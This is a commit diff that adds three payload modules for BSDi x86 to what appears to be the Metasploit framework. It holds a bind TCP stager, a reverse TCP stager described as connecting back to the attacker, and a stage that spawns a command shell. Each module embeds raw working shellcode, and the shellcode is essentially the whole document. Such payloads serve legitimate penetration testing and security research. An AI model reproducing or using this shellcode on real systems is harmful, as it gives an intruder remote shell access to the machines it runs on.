bsdi payloads

git-svn-id: file:///home/svn/incoming/trunk@2960 4d416f70-5f16-0410-b530-b9f4589650da

modules/payloads/stagers/bsdi/x86/bind_tcp.rb

@@ -0,0 +1,49 @@
+require 'msf/core'
+require 'msf/core/handler/bind_tcp'
+
+module Msf
+module Payloads
+module Stagers
+module Bsdi
+module X86
+
+###
+#
+# BindTcp
+# -------
+#
+# BSD bind TCP stager.
+#
+###
+module BindTcp
+
+	include Msf::Payload::Stager
+
+	def initialize(info = {})
+		super(merge_info(info,
+			'Name'          => 'Bind TCP Stager',
+			'Version'       => '$Revision$',
+			'Description'   => 'Listen for a connection',
+			'Author'        => 'skape',
+			'Platform'      => 'bsdi',
+			'Arch'          => ARCH_X86,
+			'Handler'       => Msf::Handler::BindTcp,
+			'Stager'        =>
+				{
+					'Offsets' =>
+						{
+							'LPORT' => [ 0x1f, 'n'    ],
+						},
+					'Payload' =>
+						"\x89\xe5\x68\x00\x07\x00\xc3\xb8\x9a\x00\x00\x00\x99\x50\x89\xe6" +
+						"\x31\xc0\x50\x40\x50\x40\x50\xb0\x61\xff\xd6\x52\x68\x10\x02\xbf" +
+						"\xbf\x89\xe3\x6a\x10\x53\x50\x6a\x68\x58\xff\xd6\xb0\x6a\xff\xd6" +
+						"\x59\x52\x52\x51\xb0\x1e\xff\xd6\x97\x6a\x03\x58\xb6\x0c\x52\x55" +
+						"\x57\xff\xd6\xff\xe5"
+				}
+			))
+	end
+
+end
+
+end end end end end

modules/payloads/stagers/bsdi/x86/reverse_tcp.rb

@@ -0,0 +1,49 @@
+require 'msf/core'
+require 'msf/core/handler/reverse_tcp'
+
+module Msf
+module Payloads
+module Stagers
+module Bsdi
+module X86
+
+###
+#
+# ReverseTcp
+# ----------
+#
+# BSD reverse TCP stager.
+#
+###
+module ReverseTcp
+
+	include Msf::Payload::Stager
+
+	def initialize(info = {})
+		super(merge_info(info,
+			'Name'          => 'Reverse TCP Stager',
+			'Version'       => '$Revision$',
+			'Description'   => 'Connect back to the attacker',
+			'Author'        => 'skape',
+			'Platform'      => 'bsdi',
+			'Arch'          => ARCH_X86,
+			'Handler'       => Msf::Handler::ReverseTcp,
+			'Stager'        =>
+				{
+					'Offsets' =>
+						{
+							'LHOST' => [ 0x1c, 'ADDR' ],
+							'LPORT' => [ 0x23, 'n'    ],
+						},
+					'Payload' =>
+						"\x89\xe5\x68\x00\x07\x00\xc3\xb8\x9a\x00\x00\x00\x99\x50\x89\xe6" +
+						"\x52\x42\x52\x42\x52\x6a\x61\x58\xff\xd6\x97\x68\x7f\x00\x00\x01" +
+						"\x68\x10\x02\xbf\xbf\x89\xe3\x6a\x10\x53\x57\x6a\x62\x58\xff\xd6" +
+						"\xb0\x03\xb6\x0c\x52\x55\x57\xff\xd6\x5f\xc3"
+				}
+			))
+	end
+
+end
+
+end end end end end

modules/payloads/stages/bsdi/x86/shell.rb

@@ -0,0 +1,34 @@
+require 'msf/core'
+require 'msf/base/sessions/command_shell'
+
+module Msf
+module Payloads
+module Stages
+module Bsdi
+module X86
+
+module Shell
+
+	def initialize(info = {})
+		super(merge_info(info,
+			'Name'          => 'BSDi Command Shell',
+			'Version'       => '$Revision$',
+			'Description'   => 'Spawn a command shell',
+			'Author'        => 'skape',
+			'Platform'      => 'bsdi',
+			'Arch'          => ARCH_X86,
+			'Session'       => Msf::Sessions::CommandShell,
+			'Stage'         =>
+				{
+					'Payload' =>
+						"\x68\x00\x07\x00\xc3\xb8\x9a\x00\x00\x00\x99\x50\x89\xe6\x31\xc0" +
+						"\x50\x50\xb0\x7e\xff\xd6\x6a\x02\x59\x6a\x5a\x58\x51\x57\xff\xd6" +
+						"\x49\x79\xf6\x6a\x3b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62" +
+						"\x69\x6e\x89\xe3\x52\x54\x53\xff\xd6"
+				}
+			))
+	end
+
+end
+
+end end end end end